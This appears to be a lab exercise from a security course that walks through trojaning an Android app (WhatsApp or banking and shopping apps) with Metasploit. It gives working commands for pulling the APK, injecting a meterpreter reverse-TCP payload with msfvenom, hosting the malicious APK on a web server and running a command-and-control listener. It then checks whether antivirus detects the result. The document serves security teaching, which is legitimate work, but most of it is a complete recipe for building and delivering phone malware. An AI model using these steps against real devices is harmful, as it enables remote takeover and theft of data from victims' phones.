A35: Trojaning an Android App with Metasploit (15 pts)

What You Need for This Project

Purpose

To use Metasploit to add Trojan code to an Android app. This is too easy :)

Task 1: Prepare the Phone

Install Firefox

On your Android device, in Google Play, install Firefox or Chrome, so you have a fully functional browser.

Install WhatsApp

On your Android device, in Google Play, install WhatsApp. If the app in the store has been updated, and you want to use the exact version I did, use the archived copy here.

Note

The latest version of WhatsApp no longer alllows this modification, as of 5-22-19. I recommend using the archived WhatsApp file, or one of these apps instead:
  • Whole Foods
  • Lyft
  • Wells Fargo for Tablet
  • Microsoft Translator


Task 2: Prepare the Malware with Kali

Connecting to your Android Device with ADB

On Kali, in a Terminal, execute these commands, replacing the IP address with the IP address of your Genymotion or Nox Android device:
adb connect 172.16.123.154
adb devices -l
You should see your Genymotion device in the "List of devices attached", as shown below.

Upgrading Apktool

For this project, you need the latest version of Apktool, which was 2.4.0 when I did it, on March 15, 2019.

On Kali, execute these commands:

apt purge apktool -y
wget https://raw.githubusercontent.com/iBotPeaches/Apktool/master/scripts/linux/apktool
wget https://bitbucket.org/iBotPeaches/apktool/downloads/apktool_2.4.0.jar
mv apktool_2.4.0.jar apktool.jar
mv apktool.jar /usr/bin
mv apktool /usr/bin
chmod +x /usr/bin/apktool*
apktool
You should see the "Apktool v2.4.0" help message, as shown below.

Pull the App from the Phone

On Kali, in a Terminal, execute these command to find the name of the installed "Whatsapp" package, find its location, and pull it from the phone.

The commands may need some adjustment to work on your system. You need the output of each command to know what to put in the next one.

adb shell pm list packages | grep what
adb shell pm path com.whatsapp
adb pull /data/app/com.whatsapp-4ecBR8w_r7bateDGMM9YPg==/base.apk
The app should download, as shown below.

Adding Trojan Code to the App

On Kali, execute this command to see the Android payloads available in Metasploit.
msfvenom -l payloads | grep android
There are only a few payloads available, as shown below.

On Kali, execute this command to find your IP address.

ifconfig
When I did it, the address was 172.16.123.180, as shown below.

On Kali, execute this command to generate the malware, replacing the IP address with your Kali systems IP address:

msfvenom -x base.apk -p android/meterpreter/reverse_tcp LHOST=172.16.123.180 -f raw -o whatspwned.apk
The malware is generated, as shown below.

On Kali, execute these commands to start a Web server and host your malicious app:

service apache2 start
cp whatspwned.apk /var/www/html
The malware is generated, as shown below.

Starting a C&C Server

On Kali, in a Terminal, execute these commands, to start a listener:
msfconsole -q
use multi/handler
set payload android/meterpreter/reverse_tcp 
set LHOST 0.0.0.0
exploit
Metasploit begins listening on port 4444, as shown below.


Task 3: Installing Malware on the Phone

Removing the Genuine App

On your Android device, in Google Play, search for the app you are using, as shown below.

Click UNINSTALL. Click OK.

Installing the Trojaned App

On your Android device, open Firefox and enter the IP address of your Kali machine. A default Apache page opens, as shown below.

Add the APK filename to the end of the IP address, as shown below. Your IP address will be different.

172.16.123.180/whatspwned.apk
A little box pops up at the bottom of the phone, saying "whatspwned.apk downloaded", as shown below. In that little box, click OPEN.

It only appears for a few seconds, so you may need to repeat the process.

On your phone, click INSTALL. Click OPEN.


Task 4: Post-Exploitation

On Kali, you should see an open Meterpreter session, as shown below.

Looting the Phone

Try these Meterpreter commands:

A35.1 Recording Your Success (15 pts)

Execute the getwd command. The reply contains the flag, covered by a green box in the image below.


Malware Detection

Using Play Protect

On your phone, open Google Play. At the top left, click the three-bar icon.

Click "Play Protect", as shown below.

On the next page, at the top right, click the gear icon.

In the "Scan device for security threats" line, on the right side, click the slider to activate it, as shown below.

At the top left, click the back-arrow. At the top right, click the curved arrow icon to launch a scan.

Play Protect shows the apps it's scanned, including the Trojaned WhatsApp. Play Protect did not detect the malware, as shown below.

A35.2 Using BitDefender Free (5 pts)

Install the app, as shown below.

Scan your phone. The malware is detected, as shown below. The flag is the covered by a green box in the image below.


References

Lab: Hacking an Android Device with MSFvenom


Posted 4-16-19
Note about other apps added 5-22-19